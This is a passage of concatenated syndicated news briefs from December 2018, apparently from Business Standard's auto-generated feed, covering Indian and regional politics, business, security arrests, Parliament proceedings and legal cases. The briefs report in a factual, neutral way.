ways and means to resurrect the airline, the source said. Notably, Goyal retaining control was reportedly a major issue that became a roadblock in Jet Airways talks with Tata Sons for a possible stake sale over a month ago. During the meeting it was also discussed how the airline can prune the cost further and make it viable in the long-term, the source added. A query sent to a Jet Airways spokesperson remained unanswered. Besides Goyal, the meeting was attended by board members Ashok Chawla, Nasim Zaidi and Rajshree Pathy, the source said. Group CFO and Goyals key negotiator during the stake sale talks with Etihad in 2013, Hamid Ali, was also part of the meeting, among others, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan asserted on Thursday that Jinnah House in Mumbai belonged to it and any attempt by India to take the building under its control will not be accepted, days after External Affairs Minister Sushma Swaraj said her ministry is in the process of getting the bungalow transferred in its name. The sea-facing bungalow on Malabar Hill in Mumbai was designed by architect Claude Batley in European style and Pakistan's founder Mohammad Ali Jinnah lived there in the late 1930s. Pakistan had demanded in recent years that the property should be handed over to it for housing its Mumbai consulate. "We have a claim over it (Jinnah House) and we do not accept that anyone tries to take custody of it. They (Indians) have already accepted that it belongs to Pakistan. We have record of it. They (Indians) have accepted that it belong to Pakistan," Foreign Office spokesperson Mohammad Faisal told reporters here. Asked if Pakistan would consider to hand over Kartarpur land to India in a swap deal, Faisal said: "Absolutely notIt is gesture for Sikh minority community made on their request to provide a visa free corridor to facilitate visit to a religious shrine." He said the decision to open the Kartarpur corridor was taken at the state-to-state level and the Indian government was fully involved in it. In a letter to Mumbai city BJP legislator Mangal Prabhat Lodha, Swaraj said Prime Minister's Office has instructed to renovate and refurbish Jinnah House to develop it on the pattern of facilities available in Hyderabad House in Delhi. "Accordingly, approval of the PMO was sought for transfer of the property from ICCR (Indian Council for Cultural Relations) to our ministry. PMO has now accorded necessary approvals," Swaraj said in her letter. The letter, dated December 5, further said, "We are in the process of transferring the ownership in our name." Jinnah's daughter Dina Wadia had in August 2007 approached the Bombay High Court claiming that being the sole legal heir of Jinnah, she should get the possession of the house. After her death, her son and Wadia Group chairman Nusli Neville Wadia is carrying on the litigation. Commenting on the release of Indian prisoner Hamid Nihal Ansari, Faisal said Ansari "illegally entered Pakistan and was arrested for spying and convicted". "On completion of his sentence he was repatriated as per law of the land (Pakistan)," he said. He also said that release of Ansari would not have any impact on the Kashmir policy of Pakistan. Responding to a question about media reports regarding support sought by the Khalistan movement from Pakistan, Faisal said, "Please note it and register it with youPakistan does not interfere in internal affairs of any country." Faisal also condemned the violence in Kashmir and alleged that India was committing ceasefire violations at Line of Control to divert the world's attention. He said Foreign Minister Shah Mahmood Qureshi wrote letters to the UN secretary general and OIC secretary general to highlight the recent violence in Kashmir. On Afghan peace talks, he said that talks between the Taliban and the US were held in Abu Dhabi. "Our leadership has conveyed unequivocal support to both Afghan leadership and the international community of for an Afghan-led Afghan-owned peace process, he said. "Pakistan played a role as part of share responsibility in the meeting held in the UAE for peace and reconciliation in Afghanistan. Our role has been widely recognised and appreciated. I do not want to say any more about it at this stage," he said. Faisal also rejected impression that Pakistan controlled the Taliban. "We have always stated that Pakistan exercises limited influence over the TalibanWe cannot respond as to when the next round of negotiations between the US and Taliban will take place," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Home Minister Rajnath Singh Thursday hit out at separatists in Jammu and Kashmir, saying they exploit every possible situation to fan anti-India sentiments and incite the people. Inaugurating the annual conference of Directors General and Inspectors General of Police at the site of the tallest statue of Sardar Vallabhbhai Patel in Gujarat, the home minister said the Pakistan establishment is seeking to forge an alliance between the Sikh extremist groups, their country's Islamist outfits and Kashmir-focused terrorists to hurt Indian interests. "The separatists exploit every possible situation to agitate the people, to fan anti-India sentiments which lead to law and order situations. Financing from across the border for militants and separatists is a cause of concern," he said. Singh said Pakistan has been perpetrating terrorist activities on Indian soil from Jammu and Kashmir to Punjab. The security situation in the hinterland and in Jammu and Kashmir continues to be vitiated even though stone pelting incidents have declined, he said. "Attempts by militants to infiltrate in large numbers, intermittent attacks and efforts at local recruitment continue. Terror infrastructure in Pakistan and PoK remains in the form of training camps, launching pads and communication control stations," Singh said. The home minister asked the security establishment to check efforts to revive terrorism in Punjab. He said recent terror incidents in Punjab and related interdiction indicate concerted efforts on part of the Pakistan establishment and Sikh extremist elements based in Pakistan to revive terrorism in the border state with active support from Sikh radical and extremist entities based abroad, especially Europe and America. "Pakistan establishment is seeking to forge an understanding between Sikh extremist groups and Pakistan-based Islamist outfits as well as Kashmir-centric terrorist groups for targeting Indian interests," he said. Singh said terrorism in the hinterland has been stamped out and the law enforcement agencies, through concerted action coordinated by Intelligence Bureau, have managed to thwart the first tide of propaganda and mobilisation by Islamic State in Iraq and Syria. "Consequently, India witnessed very few incidents of IS-inspired violence. In concerted counter-terrorism operations, law enforcement agencies have arrested nearly 125 suspected terrorists this year as against 117 arrested in 2017," he said. He said the new phase of Islamic State propaganda emanating from Afghanistan-Pakistan region was being countered effectively. The home minister said economic installations and iconic institutions are also being continuously targeted from across the western border through espionage and cyberspace. "Pakistan continues to abet terrorism and during the period January 1, 2017 to November 29, 2018, as many as 17 ISI-backed espionage modules have been neutralised in the country resulting in the arrest of 25 espionage agents which include two Pakistanis. "Various sensitive organisations, including the Indian Army, Air Force, Navy, ITBP, DRDO, BSF, CRPF, MEA, Airport Authority of India, Ministry of Petroleum and Natural Gas and the Indian Railways, have been targeted by PIOs from across the border through spoofed/crank calls to elicit sensitive information," he said. The conference of Directors General and Inspectors General of Police is being held at the site of the tallest statue of Sardar Vallabhbhai Patel in Gujarat. The 182-metre 'Statue of Unity' of Patel was inaugurated by Prime Minister Narendra Modi in Gujarat's Narmada district on October 31. Taller than the Statue of Liberty in the US, the Statue of Unity has been built on islet Sadhu Bet near the Sardar Sarovar Dam. The conference is an annual affair where senior police officials of the states and the Centre meet and discuss issues related to internal security, crimes and related challenges, another official said. The Modi government has been organising this meeting outside the national capital since it came to power in 2014. The last four conferences were held in Guwahati, Rann of Kutch in Gujarat, Hyderabad and Tekanpur in Madhya Pradesh's Gwalior district. The Statue of Unity was first conceptualised by Modi during his tenure as Gujarat chief minister. He had laid the foundation stone for it in 2013. Patel, also India's first deputy prime minister, was credited with merging of over 500 princely states into the Union of India. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Actor John Boyega is in negotiations to play the lead in legal drama "A Naked Singularity". The project, which hails from Ridley Scott's Scott Free Productions, is based on Sergio De La Pava's novel of the same name, reported Variety. The story follows Casi, who works in New York as a successful public defender. He begins to strain under the weight of his work and starts to question everything after he loses his first case. David Matthews has co-written the script with Chase Palmer, who is set to direct the project. Palmer is best known for co-penning the screenplay of horror hit "It". 3311 Productions are financing the film while Tony Ganz will produce it. Boyega, best known for playing as Finn in the "Star Wars" franchise, Boyega also has films such as "Detroit", "Pacific Rim: Uprising", and "Watership Down" to his credit. The 26-year-old actor is currently shooting for "Star Wars: Episode IX". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With two days left for the much awaited expansion of his cabinet, Karnataka Chief Minister H D Kumaraswamy Thursday said he was waiting for a "message" from his coalition partner, the Congress party, to write to the Governor about carrying out the exercise. "I'm yet to receive message from Delhi (Congress high command)," Kumaraswamy said in response to a question about writing a letter to the governor for the cabinet expansion exercise. Speaking to reporters here, he said "Soon after our senior coalition partner (Congress) gives us the message, I will write to the governor." Seeking to contain simmering discontent within the party over cabinet expansion, the Congress on Tuesday had said the Congress-JD(S) coalition ministry would be expanded on December 22 as announced earlier. Congress Legislature Party leader Siddaramaiah, Pradesh Congress President Dinesh Gundu Rao and Deputy chief minister G Parameshwara left for Delhi this evening to meet the Congress high command, including general secretary in-charge of Karnataka K C Venugopal, to discuss the expansion and the probable names. According to sources, they are expected to meet Congress president Rahul Gandhi during the visit. However, reports suggest that Gandhi was in Shimla on a personal visit. Asked whether the cabinet expansion would take place on December 22, the Chief Minister said, "please ask Congress party." "There are no issues with us (JDS)... we are ready for it. They (Congress leaders) too have gone to Delhi with an intention to expand the cabinet."Rao had on Tuesday indicated that it may be cabinet expansion or reshuffle or both may happen on December 22, creating worry among several ministers about being dropped from the ministry. Kumaraswamy, on his part, did not spell out anything clearly to a question, whether it will be cabinet reshuffle on Saturday. Pointing out that the Congress was the major party in the coalition, Kumaraswamy said, whatever they decide," accordingly we will carry out the exercise." "There is no problem within our party (JDS), we are all united.....the vacant posts that are there we will fill them, we are ready, there are no issues within us," he added. With the cabinet expansion exercise being postponed repeatedly, several aspirants, especially those from the Congress, had openly expressed their displeasure. Despite repeated reiteration by Congress leaders that the expansion will take place on the scheduled date, party MLAs are sceptical about it happening till the Lok Sabha polls early next year. Some of them have also cited the current "Shoonya Masa" that is considered inauspicious month, as the reason. According to the pact reached between the two partners at the time of formation of the coalition government in May, there are now six vacant ministerial positions left for the Congress and two for the JD(S). This will be the second expansion of the Kumaraswamy's ministry, who currently heads the 26-member cabinet. Along with cabinet expansion, the coalition partners are also likely to appoint MLAs as heads to boards and corporations, and as parliamentary secretaries to Ministers on December 22. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With two main Tamil Nadu parties protesting in Parliament opposing the Mekedatu project on Cauvery river, Karnataka lawmakers cutting across party lines have planned an agitation on December 27 in front of Mahatma Gandhi statue in the Parliament complex to counter AIADMK and DMK. They have also decided to meet Union Water Resources Minister Nitin Gadkari on Kalasa Banduri project and to bring to his notice about its importance to the state. A decision in this regard was taken in a meeting chaired by Union Minister Sadananda Gowda here. In the meeting, Union Defence Minister Nirmala Seetharaman, Union Minister of State for Skill Development Ananth Kumar Hegde as also Minister of State for Drinking Water and Sanitation Ramesh Jigajinagi were present. Former Prime Minister and JDS chief H D Deve Gowda and State Water Resources Minister D K Shivakumar were also present. After the meeting, Shivakumar appealed AIADMK and DMK members not to make it a "political issue" and asked them to resolve the matter amicably. He said that since the project is going to benefit both the states, the Central Water Commission has given go-ahead to Karnataka to prepare a detailed project report (DPR) for a proposed balancing reservoir-cum-drinking water project at Mekedatu. "We do not want to make it a political issue. On behalf of Karnataka MPs, we appeal to the Tamil Nadu government and MPs not to fight on the issue and let us sit amicably and resolve," Shivakumar told reporters after the meeting. He also invited MPs to see the project site and get convinced how it is meant only for providing drinking water to Ramanagara, Bengaluru urban and rural districts, and not for irrigation purpose. "It is a balancing reservoir and cannot use water for irrigation. Let's permit it as it will help both the states," he added. AIADMK and DMK are agitating in both the Houses of Parliament pressing for scrapping of the proposed Mekedatu project. The Tamil Nadu government has also appealed in the Supreme Court on the matter. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Keventer Agro Thursday said it has identified three locations to set up a manufacturing facility in Assam with a "large investment" and it will be announced by the end of the next year. The company Thursday rolled out its UHT milk products for the north eastern market and expects a revenue of Rs 150 crore from here in the next two years. "Our team is actively studying the market for the last 12 months. We are talking with the Assam government and we have identified three locations. By 2019, you will hear a large investment from us in Assam," Keventer Agro chairman and MD Mayank Jalan said at a press conference here. The company is currently trying to find out and fix the supply chain for sourcing raw materials for the proposed plant before announcing the investment, he added. "The plant will be not only for UHT milk. We will produce our different range of products for the north eastern market," Jalan said. The company currently has 11 operational plants and another one is being constructed at Midnapur in West Bengal. On Keventer Agro's UHT milk, the CMD said the products have been priced very competitively and hopes to capture 25 per cent of the market within next one year. "Our price is 20 per cent lower than the competitors because our logistic cost is minimal as the plant is within 1,000 km distance in West Bengal, while the competitors are making their products in Gujarat or Maharashtra," he added. Jalan informed the company has invested Rs 150 crore last year to set up Eastern India's largest UHT milk plant at Barasat in West Bengal that has a processing capacity of two lakh litres per day. Talking about its sales expectations, Keventer Agro chief executive officer (UHT Milk) Saurabh Jajodia said: "We are hopeful of achieving Rs 150 crore revenue in North East by 2020. The Indian UHT milk market is expected to cross Rs 10,000 crore by 2023." In terms of volume, the market is 15 lakh litres per day with 30 per cent being consumed in East India, which is growing over 20 per cent in the last five years, he added. The new product 'Keventer Milk' is available in three variants -- standardised (4.5 per cent fat), toned (3 per cent fat) and double tonned (1.5 per cent fat). (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lalrinawma, who recently won Tuikum Assembly seat on Mizo National Front (MNF) ticket, was on Thursday elected unopposed as the deputy speaker of Mizoram House. A degree holder in mechanical engineering, Lalrinawma (45)had also bagged the seat in 2013 polls. Shortly after his appointment, he said that he would make all efforts to fulfill his responsibilities. Election to the 40-member Mizoram Assembly was held on November 28. The results were declared on December 11. The MNF, an ally of the National Democratic Alliance, won 26 seats in the 40-member Assembly, uprooting Congress from its last bastion in the northeast. Newly elected Chief Minister Zoramthanga on Tuesday, the third day of the Assembly, made obituary references to three departed leaders -- former prime minister Atal Bihari Vajpayee, former legislator Chawngzuala and sitting legislator S Laldingliana. The legislators observed a minute's silence as mark of respect to the leaders before getting on with the proceedings. Vajpayee died on August 16 at the age of 93, while former minister Chawngzuala passed away days later, on August 23. Two-time legislator S Laldingliana, elected in 2008 and 2013 assembly polls, died on November 1. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lankan President Maithripala Sirisena on Thursday named a 30-member Cabinet, but retained the control over the island nation's security forces and the police by ignoring Prime Minister Ranil Wickremesinghe's nominees, indicating that two leaders are still at loggerheads after weeks of political crisis. The Cabinet announcement came after the reinstatement of Wickremesinghe as prime minister. Sirisena ignored Wickremesinghe's nominees for Cabinet positions from those who had defected from his Sri Lanka Freedom Party (SLFP). At least 3 seniors had defected from the SLFP to Wickremesinghe's United National Party (UNP). Sirisena's decision on October 26 to sack prime minister Wickremesinghe and install former strongman Mahinda Rajapaksa in his place triggered an unprecedented constitutional crisis. Later, Sirisena also dissolved the 225-member Parliament and called for a snap election on January 5. However, Wickremesinghe was re-appointed as prime minister by Sirisena following a Supreme Court order, ending the 51-day political standoff in the country. The president now holds the Defence and Mahaweli Development and Environment Ministry portfolios. He retained the control over the police which is investigating an alleged plot to kill him that triggered a political crisis in the country. Wickremesinghe also hold portfolios of National Policies, Economic Affairs, Resettlement & Rehabilitation, Northern Province Development, Vocational Training & Skills Development & Youth Affairs. Thilak Janaka Marapana was sworn-in as the Minister of Foreign Affairs. Sirisena's holding of the Law and Order Ministry has been disputed by the UNP, claiming that the president was only constitutionally allowed to be the defence minister in addition to the subject of environment. Analysts said that Cabinet appointments indicate that Sirisena and Wickremesinghe were still at loggerheads. Sirisena, who had publicly vowed not to reinstate Wickremesinghe, was was forced to change his stance after court rulings over the issue. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Leaders across party lines and presiding officers of both the Houses in Parliament Thursday paid tributes to former parliamentary affairs minister and BJP leader Ananth Kumar. Kumar passed away at a hospital in Bengaluru on November 12 after battling lung cancer for several months. His family members were also present at the condolence meet at the Constitution Club here. "I can't even think I would have to come to his condolence meet," a teary-eyed BJP patriarch L K Advani said. External Affairs Minister Sushma Swaraj said though she was only a few years elder to Kumar, he "used to call me Maa.'' Vice-President and Rajya Sabha Chairman M Venkaiah Naidu recalled Kumar as a lively person and an ideal grassroot worker and parliamentarian. Lok Sabha Speaker Sumitra Mahajan said the late leader would be remembered for his expertise in parliamentary matters. BJP chief Amit Shah said Kumar came into the BJP through his mother who was also associated with the party. Nationalist Congress Party leader Supriya Sule, BJD's B Mahtab and Congress's K H Muniyappa were among other leaders attended the meet and paid their respects to Kumar. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Police Thursday arrested a Lashkar-e-Toiba terrorist, who was close associate of slain Pakistani ultra Naveed Jhutt, from Ganderbal district of Jammu and Kashmir. "Based on credible input, a joint team of Srinagar and Ganderbal Police arrested an active terrorist of LeT from Kangan area of Ganderbal," a police spokesman said. The terrorist has been identified as Zubair Shabir Bhat, a resident of Malpora in Qazigund area of Anantnag District. Bhat was a close associate of slain terrorist commander Naveed Jhutt alias Hanzalla and Umar Rashid Wani alias Abu Haadi, the spokesman said. The ultra was wanted by law for his complicity in a series of terror crimes including several conspiracies of weapon snatching and threatening of panchayat and ULB candidates in Anantnag and Kulgam districts recently, the spokesman said. Bhat was also involved in planning attacks on the security establishments in the area including attacks on local police personnel deployed for duties inside the city, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lithuanian Prime Minister Saulius Skvernelis on Thursday said the Baltic NATO member had broken up a local spy ring working for Russia that had posed a threat to national security. He spoke after Lithuanian officials announced they had detained several Lithuanian citizens and one Russian on suspicion of espionage. "Our security services took timely action against a Russian spy ring in Lithuania and prevented actions that threatened national security," Skvernelis told AFP. "These were not solitary instances but methodic action directed against our state." The Russian foreign ministry dismissed the case as another instance of "a Russophobic policy". On Wednesday Lithuanian prosecutors said several individuals, including former Lithuanian lawmaker Algirdas Paleckis, were arrested in an espionage probe earlier this year. They declined to name the exact number or identity of the others but police chief Linas Pernavas specified they were all Lithuanian with the exception of one Russian. Prosecutor general Evaldas Pasilis said Russian intelligence services were notably interested in information regarding an ongoing criminal case concerning the 1991 crackdown on Lithuania's independence drive. Earlier this year, Lithuanian prosecutors called for five Russians, including an ex-defence minister, and a Belarusian to be sentenced to jail in absentia over the January 1991 attack on a Vilnius television that left 14 civilians dead. The verdict is expected in February. Moscow has called the trial "illegal" and rejected requests to extradite the suspects and question ex-Soviet leader Mikhail Gorbachev, who is 87. The spy case is the latest in a string of espionage allegations in the Baltic states involving Russia's intelligence service. The incidents come amid tensions sparked by Moscow's 2014 annexation of Crimea from Ukraine, a move that deeply rattled nearby NATO members. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The proceedings in the Lok Sabha were adjourned for the second time Thursday amid sparring between members from Tamil Nadu and Karnataka over the issue of building a dam on the Cauvery River. Amid the uproar, Finance Minister Arun Jaitley moved the supplementary demand for grants - the second batch for 2018-19 -- and introduced a bill to further amend the Companies Act in the 20 minutes the House functioned before being adjourned till 2 PM. During Zero Hour, Speaker Sumitra Mahajan allowed AIADMK's P Venugopal to raise the issue of Karnataka's proposed dam at Mekadatu over the Cauvery river. Venugopal said the dam will affect lakhs of farmers in Tamil Nadu, as it will impact availability of water for irrigation purposes. In response, BJP MP from Karnataka Prahlad Joshi said the dam was essential for the state as it was a drinking water project. RJD MP JP Yadav raised the issue of coins of various denominations not being accepted by banks in Bihar. The House was adjourned as members from Tamil Nadu and Karnataka entered the well holding placards over the Cauvery River issue. Congress members were already there demanding a Joint Parliamentary Committee (JPC) probe into the Rafale deal while TDP MPs were demanding setting up of a steel plant in Andhra Pradesh and special category status for the state. Earlier as the House met for the day, the proceedings barely lasted for 10 minutes and Mahajan adjourned the House till noon around 11.10 AM. Thursday was the seventh working day of the Winter session which saw disruptions and adjournments over the Rafale jet seal, special status for Andhra Pradesh and protests over construction of a dam over Cauvery River. Both Houses were adjourned for the day on day one of the session on December 11 after paying obituaries to former prime minister Atal Bihari Vajpayee and some sitting members. Since December 12, proceedings have been marred amid the din. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Lok Sabha on Thursday agreed to take up for discussion the triple talaq bill on December 27 after the Congress agreed to participate in the debate. As the Muslim Women (Protection of Rights on Marriage) Bill, 2018, was taken up for consideration, Leader of the Congress in the House, Mallikarjun Kharge, suggested it be taken up for discussion next week. Parlimentary Affairs Minister Narendra Singh Tomar sought an assurance from the Opposition that it would allow discussion on the bill without disruption on that day. "I request you to take the bill on December 27. We are all going to participate. Our party and other political parties are ready to discuss (the bill)," Kharge said. To this, Law Minister Mani Shankar Prasad said, "As Kharje ji has made an open promise, we have no problems in having a discussion on December 27. I urge that this debate be held in a sanguine and peaceful manner." The House has been witnessing disruptions over a range of issues, including protests by the Congress which is demanding a joint parliamentary committee probe on the Rafale deal. The fresh Bill to make the practice of triple talaq among Muslims a penal offence was introduced in the Lok Sabha on Monday to replace an ordinance issued in September. Under the proposed law, giving instant triple talaq will be illegal and void and will attract a jail term of three years for the husband. The fresh bill will supercede an earlier bill passed in the Lok Sabha and pending in the Rajya Sabha. The earlier bill was approved by the lower house. But amid opposition by some parties in the upper house, the government had then cleared some amendments, including introduction of a provision of bail, to make it more acceptable. But as the bill continued to face resistance in the Rajya Sabha, the government issued an ordinance in September, incorporating amendments. An ordinance has a life of six months. But from the day a session begins, it has to be replaced by a bill which should be passed by Parliament within 42 days (six weeks), else it lapses. The government is at liberty to re-promulgate the ordinance if the bill fails to get through Parliament. Introducing the bill, Law Minister Ravi Shankar Prasad said despite the Supreme Court striking down the practice of talaq-e-biddat (instant triple talaq), terming it unconstitutional, divorces in this form were taking place. Citing details of instant triple talaq cases, the government had last week informed the Lok Sabha that till now 430 incidents of triple talaq have come to the notice of the government through the media. Of these, 229 were reported before the Supreme Court judgement, while another 201 came to the notice after it. These cases were reported between the period of January 2017 and September 13, 2018. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Maharashtra government Thursday approved formation of a university named after renowned nuclear physicist Homi Jehangir Bhabha in a bid to enable students to opt for a "choice-based credit system" and study the subjects of their choice. The approval for setting up the Dr Homi Jehangir Bhabha University was given by the state Cabinet at its meeting here. Minister Vinod Tawde, addressing reporters at Mantralaya, said the university will consist of the Institute of Science, the Sydenham College of Commerce and Economics, the Elphinstone College and Government college of (BEd College). "Once this university is established, students will have the option of studying through a choice-based credit system. For instance, a student studying commerce in Sydenham College will have the option of studying arts as well in Elphinstone College," Tawde said. The minister added students will gain educational benefits from the collaboration of these colleges and thereby generate better employment opportunities through skill development in the age of modern educational practices. In another decision, the Cabinet approved amendments in the clauses of Maharashtra self-financed universities guidelines, Tawde said. The government has approved the recommendations of the Bongirwar Commission and accordingly, such universities will now be able to introduce courses of different subjects, he said. The minister further said the Cabinet also gave a go- ahead to fill 32 permanent posts of deans for 11 public universities in the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Maharashtra government Thursday approved a sum of Rs 4,089 crore for the Tembhu lift irrigation scheme in Satara district. The scheme, which will also benefit Satara's adjoining districts in Western Maharashtra, was approved by the state Cabinet at its meeting here, said an official in the Chief Minister's Office (CMO). The irrigation project will benefit the perennially drought prone areas of Satara, Solapur and Sangli districts. The scheme is about constructing barrages on the river Krishna near Tembhu village and lifting 22 billion cubic feet water to irrigate 80,000 hectare areas in seven talukas - Karad, Kadegaon, Tasgaon, Khanapur, Atpadi, Kavathe-Mahankal and Sangola - spread across Satara, Sangli and Solapur districts, he said. The project was conceptualised way back in 1996 at a cost of Rs 1,416 crore. As per the revised plan, the project, which now entails a cost of Rs 4,089 crore, is expected to get a boost by distribution of water through pipes and promote micro irrigation in surrounding areas, said the official. In another decision, the Cabinet decided to release water from the Tukai lift irrigation project in 20 percolation reservoirs in drought prone areas of Ahmednagar district. Water will also be released in three reservoirs of small irrigation projects. This will help provide water for irrigation and drinking water purpose in Ahmednagar district, the official said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The opposition Congress and the NCP Thursday termed as a "cruel joke" the Maharashtra government's announcement of Rs 200 per quintal ex-gratia to onion growers and called for increasing the assistance. The Congress has asked the BJP-led government to raise the ex-gratia by Rs 10 per kg, while the NCP said it be increased to Rs 5 per kg. "The government has short-changed farmers by announcing Rs 200 ex-gratia per quintal. (Falling prices of) onions have already brought tears in the eyes of farmers. "Instead of wiping those, the government has played a cruel joke on them. The government should immediately declare ex-gratia of Rs 10 per kg," Leader of the Opposition in the Assembly Radhakrishna Vikhe-Patil of the Congress said on Twitter. Hitting out at the Fadnavis government, Opposition Leader in the Legislative Council Dhananjay Munde of the NCP said farmers had originally demanded ex-gratia of Rs 500 per quintal. "So, instead of the ex-gratia of Rs 2 per kg, the government should increase it to Rs 5 per kg and transfer the amount within a month on the accounts of farmers," Munde added. He warned his party would stage protests in case the government did not given any relief to onion growers within a week. The Maharashtra government Thursday announced Rs 150 crore as relief to onion farmers. The decision by the state Cabinet came amid reports about farmers selling freshly harvested onions at as low as Rs 1.50 a kg in Maharashtra, the top producer of the bulb in the country. The financial relief consists of an ex-gratia payment at the rate of Rs 200 per quintal (with an upper limit of 200 quintal per onion farmer) for the kitchen staple sold between November 1 and December 15, 2018. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Days after a UK court ordered fugitive businessman Vijay Mallya's extradition, the External Affairs Ministry on Thursday said the Indian mission there is in "active touch" with British authorities regarding the case. The Westminster Magistrates' Court last week had ordered Mallya's extradition, in a major boost to India's efforts to bring back the fugitive wanted for alleged fraud and money laundering charges amounting to an estimated Rs 9,000 crores. Responding to a question on India's future course of action, Ministry of External Affairs (MEA) Spokesperson Raveesh Kumar said: "On December 10, the Westminster Court had recommended that Mallya should be extradited to India. Now it will go to the Home Secretary who will have two months to formally order his extradition." He said Mallya, within a period of two weeks, can also file an appeal. "We will have to see what happens next. I would like to tell you that our mission in London, they are in active touch with UK authorities on this issue," he said. To a separate question on absconding billionaire Mehul Choksi, Kumar said the CBI and the Enforcement Directorate's request was submitted to the Antigua and Barbuda authorities. Currently, the situation is that "we are following up on it and requesting them to expedite their response", he said. On Nirav Modi, he said India's request is under the consideration of the UK Home Secretary before it can be sent to the court for a decision. The CBI has charge sheeted both Nirav Modi and Choksi separately in the PNB scam. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) West Bengal Chief Minister Mamata Banerjee has been conferred the Skoch Chief Minister of the Year Award for her contribution in the overall development of the state and emerging as the best chief minister in the country. The Skoch group congratulating Banerjee, tweeted "Mamata Banerjee tops in Governance. West Bengal emerges top performing State in Governance #SkochGovernanceReport 2018. Congratulations @MamataOfficial". The state has this year bagged 31 Skoch Awards for its performance across different fields besides implementing unique projects. Banerjee has been conferred with the prestigious award on the basis of the state's performance in the field of governance, culture, finance, urban and rural development, the organisation had tweeted recently. The state's Kanyashree scheme for the girl child has earned Banerjee much acclaim and the highest public service honour from the United Nations. Kanyashree scheme seeks to improve the status and well being of girls, specifically those from socio-economically disadvantaged families through conditional cash transfers. As per Skoch, West Bengal has also won the top position in terms of the number of man-days created and the amount spent in paying people for their work in the 100 days' work scheme. In the field of agriculture, West Bengal has won five consecutive Krishi Karman awards and bagged the IPPAI Award for rural electrification in the state, it said. Besides Banerjee the Skoch Group, a think tank dealing with socio-economic issues with a focus on inclusive growth since 1997, has also awarded Andhra Pradesh Chief Minister N Chandrababu Naidu and Commerce and Industry and civil aviation minister Suresh Prabhu. While Naidu was awarded with the 'SKOCH Sprinter of the Year' and Suresh Prabhu as the 'Steady Reformer'. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A man here has been arrested for allegedly forcing a Bangladeshi girl into prostitution after bringing her into the country illegally, police said Thursday. Sarfaraj Khan was arrested Wednesday based on a complaint from the girl, who managed to escape from captivity, Police Inspector G Suresh said. According to him, Khan had brought the complainant and another girl from Bangaldesh here in October after assuring their parents that he would enroll them in a beautician course in the city. However, his intention was to use them in prostitution, police said adding the other Bangladeshi girl escaped within two days of arriving here and her whereabouts were not known. The girl, allegedly forced into prostitution, escaped from his captivity on December 14, approached the local police and lodged a complaint against Khan, police said. Efforts were on to send the girl back and also to verify about the other girl, they said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A man allegedly set himself on fire in front of the district magistrate's office at Ahmednagar in Maharashtra Thursday seeking removal of encroachments, police said. Tausif Hanif Shaikh (30) received 76 per cent burn injuries in the incident, police said. Shaikh was demanding removal of encroachments on the land belonging to Peer Daval Malik temple trust at Karjat, 50 km from here, police said. He had threatened to immolate himself a week ago, setting the administration Thursday's deadline for taking action, said a police official. Around 3 PM Thursday, he poured kerosene and set himself afire, he said. He was rushed to the government hospital and his condition was said to be serious, the police officer said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Journalist bodies have called for dropping of charges against an Imphal-based journalist who was recently sentenced to one year in detention for criticising the BJP-led governments at the Centre and in Manipur on social media. The District Magistrate of Imphal West had ordered detention of Kishorechand Wangkhem, a 39-year-old journalist who works for a TV channel, on November 27 allegedly after he uploaded videos criticising the BJP-led governments in Manipur and the Centre for observing Rani Jhansi's birth anniversary, a Manipur government order said. According to a state home department statement issued on December 14, the Advisory Board of the National Security Act (NSA), in its sitting held on December 11, had examined the allegations levelled against Wangkhem. On December 13, the board recommended that there were "sufficient grounds" to detain the scribe under the provisions of the NSA. The Indian Women's Press Corps, Press Club of India, Press Association and Federation of Press Clubs in India in a joint statement said, "His statements do not seem an attempt to disturb peace...it was a mere expression of opinion which cannot be equated with an attack to invite people to violence against the Government of India or Manipur to topple it..." "We, the undersigned journalist organisations express deep concern at the 12-month detention of a Manipur journalist, Kishorechand Wangkhem, under the National Security Act," it said. The statement said that to book individuals under non-bailable and harsh laws for allegedly using intemperate language to criticise government's decisions or individuals in government, is a measure of "governmental overreach" apart from being a violation of the fundamental right to free speech. "We demand that the harsh provisions under which Wangkhem has been booked be dropped in the interests of justice and the right to freedom of speech and expression," it added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) of women at workplace that opened #MeToo floodgates in the country and abuse of children at shelter homes kept the Women and Child Development Ministry on its toes for most of the year. India's #MeToo movement, which started with Bollywood actor Tanushree Dutta accusing co-star of harassing her during the shooting of a film in 2008, escalated with many women coming forward with their complaints against well-known faces. Women and Child Development Minister welcomed the movement and urged all political parties and government offices to have an internal committees to look into such complaints. The government formed a Group of Ministers headed by Home Minister to look into the lacunae in the existing law on The other members of the group, which held its first meeting on December 12, are Road Transport Minister Nitin Gadkari, Defence Minister Nirmala Sitharaman and Gandhi. The year also saw horrific cases of alleged sexual abuse of minor children living at shelter homes coming to light. Minor girls were rescued after alleged sexual abuse at two shelter homes in Muzaffarpur in Bihar and Deoria in Uttar Pradesh. The two cases raised a big question mark on the safety and security of girls, women and children at such homes. In the Muzaffarpur case, the owner of the NGO running the shelter home for destitute girls was arrested besides nine other persons. On July 26, Bihar Chief Minister recommended a CBI probe. He said that the government was "ashamed" by the incident. Thirty four of the 42 minor girls at the shelter home were sexually abused, their medical examination confirmed. The Deoria case came to light after a 10-year-old 